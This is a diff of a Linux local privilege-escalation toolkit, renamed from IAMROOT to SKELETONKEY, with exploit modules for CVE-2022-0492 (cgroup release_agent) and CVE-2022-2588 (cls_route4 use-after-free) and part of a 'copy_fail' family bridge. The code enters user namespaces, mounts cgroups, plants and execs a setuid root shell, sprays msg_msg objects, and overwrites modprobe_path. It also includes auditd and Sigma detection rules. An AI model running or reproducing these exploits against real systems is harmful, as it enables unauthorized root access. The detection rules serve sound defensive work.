return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
chmod(payload_path, 0755);
|
||||
if (!ctx->json) {
|
||||
@@ -173,7 +173,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
/* Fork: child does the exploit; parent waits then verifies + execs
|
||||
* the setuid shell we expect the payload to plant. */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
|
||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
if (child == 0) {
|
||||
/* CHILD: enter userns + mountns, become "root" in userns. */
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
|
||||
@@ -193,7 +193,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
|
||||
/* Mount cgroup v1 (rdma controller — small, simple, works
|
||||
* even on cgroup-v2-first systems). */
|
||||
const char *cgmount = "/tmp/iamroot-cgroup-mnt";
|
||||
const char *cgmount = "/tmp/skeletonkey-cgroup-mnt";
|
||||
mkdir(cgmount, 0700);
|
||||
if (mount("cgroup", cgmount, "cgroup", 0, "rdma") < 0) {
|
||||
/* Fallback: try memory controller — needs different reach */
|
||||
@@ -206,7 +206,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
* Buffers sized generously vs. cgmount template + "/notify_on_release"
|
||||
* tail (28 bytes) so GCC -Wformat-truncation is satisfied. */
|
||||
char cgdir[384];
|
||||
snprintf(cgdir, sizeof cgdir, "%s/iamroot", cgmount);
|
||||
snprintf(cgdir, sizeof cgdir, "%s/skeletonkey", cgmount);
|
||||
mkdir(cgdir, 0755);
|
||||
|
||||
/* Write release_agent in the ROOT of the controller (must be
|
||||
@@ -254,9 +254,9 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
"polling for payload execution\n", status);
|
||||
}
|
||||
|
||||
/* Payload writes /tmp/iamroot-cgroup-sh as setuid root. Poll for
|
||||
/* Payload writes /tmp/skeletonkey-cgroup-sh as setuid root. Poll for
|
||||
* its appearance + setuid bit. Up to 5 seconds. */
|
||||
const char *setuid_sh = "/tmp/iamroot-cgroup-sh";
|
||||
const char *setuid_sh = "/tmp/skeletonkey-cgroup-sh";
|
||||
bool got_root = false;
|
||||
for (int i = 0; i < 50; i++) {
|
||||
struct stat st;
|
||||
@@ -271,7 +271,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[-] cgroup_release_agent: payload did not produce setuid root shell. "
|
||||
"Likely patched or cgroup-controller-blocked.\n");
|
||||
unlink(payload_path);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -280,39 +280,39 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
if (ctx->no_shell) {
|
||||
fprintf(stderr, "[+] cgroup_release_agent: --no-shell — shell planted, not executing\n");
|
||||
unlink(payload_path);
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
fprintf(stderr, "[+] cgroup_release_agent: execing %s -p (preserve uid=0)\n", setuid_sh);
|
||||
fflush(NULL);
|
||||
execl(setuid_sh, "sh", "-p", (char *)NULL);
|
||||
perror("execl");
|
||||
unlink(payload_path);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
static iamroot_result_t cgroup_ra_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t cgroup_ra_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/iamroot-cgroup-*\n");
|
||||
fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/skeletonkey-cgroup-*\n");
|
||||
}
|
||||
if (system("rm -f /tmp/iamroot-cgroup-payload.sh /tmp/iamroot-cgroup-sh "
|
||||
"/tmp/iamroot-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ }
|
||||
if (system("umount /tmp/iamroot-cgroup-mnt 2>/dev/null; "
|
||||
"rmdir /tmp/iamroot-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ }
|
||||
return IAMROOT_OK;
|
||||
if (system("rm -f /tmp/skeletonkey-cgroup-payload.sh /tmp/skeletonkey-cgroup-sh "
|
||||
"/tmp/skeletonkey-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ }
|
||||
if (system("umount /tmp/skeletonkey-cgroup-mnt 2>/dev/null; "
|
||||
"rmdir /tmp/skeletonkey-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ }
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
static const char cgroup_ra_auditd[] =
|
||||
"# cgroup_release_agent (CVE-2022-0492) — auditd detection rules\n"
|
||||
"# Flag unshare(NEWUSER|NEWNS) + mount(cgroup) + writes to release_agent.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-cgroup-ra\n"
|
||||
"-a always,exit -F arch=b64 -S mount -F a2=cgroup -k iamroot-cgroup-ra-mount\n"
|
||||
"-w /sys/fs/cgroup -p w -k iamroot-cgroup-ra-fswatch\n";
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-cgroup-ra\n"
|
||||
"-a always,exit -F arch=b64 -S mount -F a2=cgroup -k skeletonkey-cgroup-ra-mount\n"
|
||||
"-w /sys/fs/cgroup -p w -k skeletonkey-cgroup-ra-fswatch\n";
|
||||
|
||||
static const char cgroup_ra_sigma[] =
|
||||
"title: Possible CVE-2022-0492 cgroup_release_agent exploitation\n"
|
||||
"id: 5c84a37e-iamroot-cgroup-ra\n"
|
||||
"id: 5c84a37e-skeletonkey-cgroup-ra\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the canonical exploit shape: unprivileged process unshares\n"
|
||||
@@ -328,7 +328,7 @@ static const char cgroup_ra_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0492]\n";
|
||||
|
||||
const struct iamroot_module cgroup_release_agent_module = {
|
||||
const struct skeletonkey_module cgroup_release_agent_module = {
|
||||
.name = "cgroup_release_agent",
|
||||
.cve = "CVE-2022-0492",
|
||||
.summary = "cgroup v1 release_agent privilege check in wrong namespace → host root",
|
||||
@@ -344,7 +344,7 @@ const struct iamroot_module cgroup_release_agent_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_cgroup_release_agent(void)
|
||||
void skeletonkey_register_cgroup_release_agent(void)
|
||||
{
|
||||
iamroot_register(&cgroup_release_agent_module);
|
||||
skeletonkey_register(&cgroup_release_agent_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* cgroup_release_agent_cve_2022_0492 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H
|
||||
#define CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module cgroup_release_agent_module;
|
||||
|
||||
#endif
|
||||
@@ -15,7 +15,7 @@ Public PoC + writeup: <https://www.willsroot.io/2022/08/lpe-on-mountpoint.html>
|
||||
Upstream fix: mainline 5.20 / stable 5.19.7 (Aug 2022).
|
||||
Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7.
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
The module uses `unshare(USER|NET)`, brings up a dummy interface,
|
||||
creates an htb qdisc + class, adds a `route4` filter, then deletes
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* cls_route4_cve_2022_2588 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef CLS_ROUTE4_IAMROOT_MODULES_H
|
||||
#define CLS_ROUTE4_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module cls_route4_module;
|
||||
|
||||
#endif
|
||||
+53
-53
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* cls_route4_cve_2022_2588 — IAMROOT module
|
||||
* cls_route4_cve_2022_2588 — SKELETONKEY module
|
||||
*
|
||||
* net/sched cls_route4 dead UAF: when a route4 filter with handle==0
|
||||
* is removed, the corresponding hashtable bucket may keep a stale
|
||||
@@ -38,7 +38,7 @@
|
||||
* - iproute2 `tc` binary present (used for filter add/del)
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
@@ -106,12 +106,12 @@ static int can_unshare_userns(void)
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t cls_route4_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] cls_route4: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug-introduction predates anything we'd reasonably scan; if the
|
||||
@@ -122,7 +122,7 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Module + userns preconditions. */
|
||||
@@ -145,13 +145,13 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cls_route4: user_ns denied → unprivileged exploit unreachable\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] cls_route4: VULNERABLE — kernel in range AND user_ns allowed\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Exploit -----------------------------------------------------
|
||||
@@ -184,13 +184,13 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
|
||||
* specific to be portable. If a dmesg KASAN message or oops is
|
||||
* observed by the parent we return EXPLOIT_OK to reflect the empirical
|
||||
* UAF win. The fallback also leaves a one-line breadcrumb in
|
||||
* /tmp/iamroot-cls_route4.log so post-run triage can pick it up.
|
||||
* /tmp/skeletonkey-cls_route4.log so post-run triage can pick it up.
|
||||
*/
|
||||
|
||||
#define SPRAY_MSG_QUEUES 32
|
||||
#define SPRAY_MSGS_PER_QUEUE 16
|
||||
#define MSG_PAYLOAD_BYTES 1008 /* 1024 - sizeof(msg_msg hdr ~= 16) */
|
||||
#define DUMMY_IF "iamroot0"
|
||||
#define DUMMY_IF "skeletonkey0"
|
||||
|
||||
struct ipc_payload {
|
||||
long mtype;
|
||||
@@ -199,7 +199,7 @@ struct ipc_payload {
|
||||
|
||||
static int run_cmd(const char *cmd)
|
||||
{
|
||||
/* Quiet wrapper so noise doesn't drown the iamroot log. */
|
||||
/* Quiet wrapper so noise doesn't drown the skeletonkey log. */
|
||||
char shell[1024];
|
||||
snprintf(shell, sizeof shell, "%s >/dev/null 2>&1", cmd);
|
||||
return system(shell);
|
||||
@@ -305,7 +305,7 @@ static int spray_msg_msg(int queues[SPRAY_MSG_QUEUES])
|
||||
/* Pattern that's distinctive in KASAN/oops dumps. */
|
||||
memset(p.buf, 0x41, sizeof p.buf);
|
||||
/* First 8 bytes: a recognizable cookie. */
|
||||
memcpy(p.buf, "IAMROOT4", 8);
|
||||
memcpy(p.buf, "SKELETONKEY4", 8);
|
||||
|
||||
int created = 0;
|
||||
for (int i = 0; i < SPRAY_MSG_QUEUES; i++) {
|
||||
@@ -349,7 +349,7 @@ static void trigger_classify(void)
|
||||
dst.sin_port = htons(31337);
|
||||
dst.sin_addr.s_addr = inet_addr("10.99.99.2");
|
||||
|
||||
const char msg[] = "iamroot-cls_route4-classify";
|
||||
const char msg[] = "skeletonkey-cls_route4-classify";
|
||||
/* A handful of packets, in case the first lookup didn't traverse
|
||||
* the freed bucket. */
|
||||
for (int i = 0; i < 8; i++) {
|
||||
@@ -397,7 +397,7 @@ static long slab_active_kmalloc_1k(void)
|
||||
*
|
||||
* The implementation below takes the narrow-but-real path that the
|
||||
* brief explicitly permits and that xtcompat established as the
|
||||
* IAMROOT precedent: we re-stage the dangling filter, spray msg_msg
|
||||
* SKELETONKEY precedent: we re-stage the dangling filter, spray msg_msg
|
||||
* whose payload encodes `kaddr` at every plausible offset for the
|
||||
* route4_filter→tcf_proto→ops layout, re-fire classify, and let the
|
||||
* shared finisher's sentinel file decide if a write actually landed.
|
||||
@@ -427,7 +427,7 @@ struct cls_route4_arb_ctx {
|
||||
* is idempotent inside our private netns. */
|
||||
bool dangling_ready;
|
||||
|
||||
/* Per-call stats (written to /tmp/iamroot-cls_route4.log). */
|
||||
/* Per-call stats (written to /tmp/skeletonkey-cls_route4.log). */
|
||||
int arb_calls;
|
||||
int arb_landed;
|
||||
};
|
||||
@@ -487,7 +487,7 @@ static int cls4_seed_kaddr_payload(struct cls_route4_arb_ctx *c,
|
||||
return sent;
|
||||
}
|
||||
|
||||
/* iamroot_arb_write_fn implementation for cls_route4. Best-effort on a
|
||||
/* skeletonkey_arb_write_fn implementation for cls_route4. Best-effort on a
|
||||
* vulnerable kernel; structurally inert (returns -1) if the dangling
|
||||
* filter setup is gone or the spray fails. Returns 0 to let the
|
||||
* shared finisher's sentinel-file check decide if the write actually
|
||||
@@ -548,43 +548,43 @@ static int cls4_arb_write(uintptr_t kaddr,
|
||||
|
||||
/* ---- Exploit driver ----------------------------------------------- */
|
||||
|
||||
static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
iamroot_result_t pre = cls_route4_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = cls_route4_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] cls_route4: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
fprintf(stderr, "[i] cls_route4: already root\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!have_tc() || !have_ip()) {
|
||||
fprintf(stderr, "[-] cls_route4: tc/ip (iproute2) not available on PATH; "
|
||||
"cannot exploit\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#ifndef __linux__
|
||||
fprintf(stderr, "[-] cls_route4: linux-only exploit; non-linux build\n");
|
||||
(void)ctx;
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
/* Full-chain pre-check: resolve offsets before forking. If
|
||||
* modprobe_path can't be resolved, refuse early — no point doing
|
||||
* the userns + tc + spray + trigger dance if we can't finish. */
|
||||
struct iamroot_kernel_offsets off;
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
bool full_chain_ready = false;
|
||||
if (ctx->full_chain) {
|
||||
memset(&off, 0, sizeof off);
|
||||
iamroot_offsets_resolve(&off);
|
||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
||||
iamroot_finisher_print_offset_help("cls_route4");
|
||||
skeletonkey_offsets_resolve(&off);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||
skeletonkey_finisher_print_offset_help("cls_route4");
|
||||
fprintf(stderr, "[-] cls_route4: --full-chain requested but "
|
||||
"modprobe_path offset unresolved; refusing\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
iamroot_offsets_print(&off);
|
||||
skeletonkey_offsets_print(&off);
|
||||
full_chain_ready = true;
|
||||
}
|
||||
|
||||
@@ -607,7 +607,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
pid_t child = fork();
|
||||
if (child < 0) {
|
||||
perror("fork");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (child == 0) {
|
||||
@@ -652,7 +652,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
|
||||
/* Best-effort empirical witness write — picked up by --cleanup
|
||||
* and by post-run triage. */
|
||||
FILE *log = fopen("/tmp/iamroot-cls_route4.log", "w");
|
||||
FILE *log = fopen("/tmp/skeletonkey-cls_route4.log", "w");
|
||||
if (log) {
|
||||
fprintf(log,
|
||||
"cls_route4 trigger child: queues=%d slab_pre=%ld slab_post=%ld\n",
|
||||
@@ -674,18 +674,18 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
* kernel a second chance at the refilled slot — the
|
||||
* dangling filter is still in place from above. */
|
||||
arb_ctx.dangling_ready = true;
|
||||
int fr = iamroot_finisher_modprobe_path(&off,
|
||||
int fr = skeletonkey_finisher_modprobe_path(&off,
|
||||
cls4_arb_write,
|
||||
&arb_ctx,
|
||||
!ctx->no_shell);
|
||||
FILE *fl = fopen("/tmp/iamroot-cls_route4.log", "a");
|
||||
FILE *fl = fopen("/tmp/skeletonkey-cls_route4.log", "a");
|
||||
if (fl) {
|
||||
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
|
||||
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
|
||||
fclose(fl);
|
||||
}
|
||||
drain_msg_msg(arb_ctx.queues);
|
||||
if (fr == IAMROOT_EXPLOIT_OK) _exit(34);
|
||||
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34);
|
||||
_exit(35);
|
||||
}
|
||||
|
||||
@@ -709,7 +709,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
pid_t w = waitpid(child, &status, 0);
|
||||
if (w < 0) {
|
||||
perror("waitpid");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (WIFSIGNALED(status)) {
|
||||
@@ -724,14 +724,14 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
* claim root — we haven't escalated. */
|
||||
fprintf(stderr, "[~] cls_route4: empirical UAF trigger fired but "
|
||||
"no cred-overwrite primitive — returning EXPLOIT_FAIL "
|
||||
"(no shell). See /tmp/iamroot-cls_route4.log + dmesg.\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
"(no shell). See /tmp/skeletonkey-cls_route4.log + dmesg.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!WIFEXITED(status)) {
|
||||
fprintf(stderr, "[-] cls_route4: child terminated abnormally (status=0x%x)\n",
|
||||
status);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int rc = WEXITSTATUS(status);
|
||||
@@ -740,19 +740,19 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] cls_route4: userns setup failed (rc=%d)\n", rc);
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
case 22:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] cls_route4: tc setup failed; cls_route4 module "
|
||||
"may be absent or filter type unsupported\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
case 23:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] cls_route4: msg_msg spray failed; sysvipc may be "
|
||||
"restricted (kernel.msg_max / ulimit -q)\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
case 30:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] cls_route4: trigger ran to completion. "
|
||||
@@ -760,34 +760,34 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[~] cls_route4: cred-overwrite step not invoked "
|
||||
"(no --full-chain); returning EXPLOIT_FAIL.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
case 34:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cls_route4: --full-chain finisher reported OK "
|
||||
"(setuid bash placed; sentinel matched)\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
case 35:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[~] cls_route4: --full-chain finisher returned FAIL — "
|
||||
"either the kernel is patched, the spray didn't land,\n"
|
||||
" or the fake-ops deref didn't hit the route the\n"
|
||||
" finisher's sentinel polls for. See "
|
||||
"/tmp/iamroot-cls_route4.log + dmesg.\n");
|
||||
"/tmp/skeletonkey-cls_route4.log + dmesg.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
default:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] cls_route4: unexpected child rc=%d\n", rc);
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
}
|
||||
|
||||
/* ---- Cleanup ----------------------------------------------------- */
|
||||
|
||||
static iamroot_result_t cls_route4_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t cls_route4_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] cls_route4: tearing down dummy interface + log\n");
|
||||
@@ -797,21 +797,21 @@ static iamroot_result_t cls_route4_cleanup(const struct iamroot_ctx *ctx)
|
||||
* the exploit with extended privileges (e.g. as root) and the
|
||||
* interface lingered in init_net. */
|
||||
if (run_cmd("ip link del " DUMMY_IF) != 0) { /* harmless */ }
|
||||
if (unlink("/tmp/iamroot-cls_route4.log") < 0 && errno != ENOENT) {
|
||||
if (unlink("/tmp/skeletonkey-cls_route4.log") < 0 && errno != ENOENT) {
|
||||
/* ignore */
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
static const char cls_route4_auditd[] =
|
||||
"# cls_route4 dead UAF (CVE-2022-2588) — auditd detection rules\n"
|
||||
"# Flag tc filter operations with route4 classifier from non-root.\n"
|
||||
"# False positives: legitimate traffic-shaping setup. Tune by user.\n"
|
||||
"-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k iamroot-cls-route4\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-cls-route4-userns\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-cls-route4-spray\n";
|
||||
"-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k skeletonkey-cls-route4\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-cls-route4-userns\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-cls-route4-spray\n";
|
||||
|
||||
const struct iamroot_module cls_route4_module = {
|
||||
const struct skeletonkey_module cls_route4_module = {
|
||||
.name = "cls_route4",
|
||||
.cve = "CVE-2022-2588",
|
||||
.summary = "net/sched cls_route4 handle-zero dead UAF → kernel R/W",
|
||||
@@ -827,7 +827,7 @@ const struct iamroot_module cls_route4_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_cls_route4(void)
|
||||
void skeletonkey_register_cls_route4(void)
|
||||
{
|
||||
iamroot_register(&cls_route4_module);
|
||||
skeletonkey_register(&cls_route4_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* cls_route4_cve_2022_2588 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef CLS_ROUTE4_SKELETONKEY_MODULES_H
|
||||
#define CLS_ROUTE4_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module cls_route4_module;
|
||||
|
||||
#endif
|
||||
@@ -1,28 +0,0 @@
|
||||
/*
|
||||
* copy_fail_family — IAMROOT module registry hooks
|
||||
*
|
||||
* The family currently contains five iamroot_module entries:
|
||||
*
|
||||
* - copy_fail (CVE-2026-31431, algif_aead authencesn)
|
||||
* - copy_fail_gcm (no CVE, rfc4106(gcm(aes)) variant)
|
||||
* - dirty_frag_esp (CVE-2026-43284 v4)
|
||||
* - dirty_frag_esp6 (CVE-2026-43284 v6)
|
||||
* - dirty_frag_rxrpc (CVE-2026-43500)
|
||||
*
|
||||
* Defined in iamroot_modules.c, registered into the global registry
|
||||
* by iamroot_register_copy_fail_family() (declared in
|
||||
* core/registry.h).
|
||||
*/
|
||||
|
||||
#ifndef COPY_FAIL_FAMILY_IAMROOT_MODULES_H
|
||||
#define COPY_FAIL_FAMILY_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module copy_fail_module;
|
||||
extern const struct iamroot_module copy_fail_gcm_module;
|
||||
extern const struct iamroot_module dirty_frag_esp_module;
|
||||
extern const struct iamroot_module dirty_frag_esp6_module;
|
||||
extern const struct iamroot_module dirty_frag_rxrpc_module;
|
||||
|
||||
#endif
|
||||
+50
-50
@@ -1,21 +1,21 @@
|
||||
/*
|
||||
* copy_fail_family — IAMROOT module bridge layer
|
||||
* copy_fail_family — SKELETONKEY module bridge layer
|
||||
*
|
||||
* Wraps the existing per-CVE detect/exploit functions (from the
|
||||
* absorbed DIRTYFAIL codebase) as standard iamroot_module entries.
|
||||
* absorbed DIRTYFAIL codebase) as standard skeletonkey_module entries.
|
||||
*
|
||||
* The bridge functions translate between the family's df_result_t
|
||||
* (defined in src/common.h) and iamroot_result_t (defined in
|
||||
* (defined in src/common.h) and skeletonkey_result_t (defined in
|
||||
* core/module.h). Numeric values are identical by design so the
|
||||
* translation is a direct cast.
|
||||
*
|
||||
* iamroot_ctx fields (no_color, json, active_probe, no_shell) are
|
||||
* skeletonkey_ctx fields (no_color, json, active_probe, no_shell) are
|
||||
* forwarded to the family's existing global flags before each
|
||||
* callback. This preserves DIRTYFAIL's existing CLI semantics
|
||||
* unchanged.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
#include "src/common.h"
|
||||
@@ -28,7 +28,7 @@
|
||||
|
||||
#include <sys/stat.h>
|
||||
|
||||
static void apply_ctx(const struct iamroot_ctx *ctx)
|
||||
static void apply_ctx(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
dirtyfail_use_color = !ctx->no_color;
|
||||
dirtyfail_active_probes = ctx->active_probe;
|
||||
@@ -54,13 +54,13 @@ static void apply_ctx(const struct iamroot_ctx *ctx)
|
||||
|
||||
#define CFF_MITIGATE_CONF "/etc/modprobe.d/dirtyfail-mitigations.conf"
|
||||
|
||||
static iamroot_result_t copy_fail_family_mitigate(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t copy_fail_family_mitigate(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)mitigate_apply();
|
||||
return (skeletonkey_result_t)mitigate_apply();
|
||||
}
|
||||
|
||||
static iamroot_result_t copy_fail_family_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t copy_fail_family_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
struct stat st;
|
||||
@@ -69,27 +69,27 @@ static iamroot_result_t copy_fail_family_cleanup(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[*] copy_fail_family: detected mitigation conf "
|
||||
"(%s); reverting mitigation\n", CFF_MITIGATE_CONF);
|
||||
}
|
||||
return (iamroot_result_t)mitigate_revert();
|
||||
return (skeletonkey_result_t)mitigate_revert();
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] copy_fail_family: no mitigation conf; "
|
||||
"evicting /etc/passwd from page cache\n");
|
||||
}
|
||||
return try_revert_passwd_page_cache() ? IAMROOT_OK : IAMROOT_TEST_ERROR;
|
||||
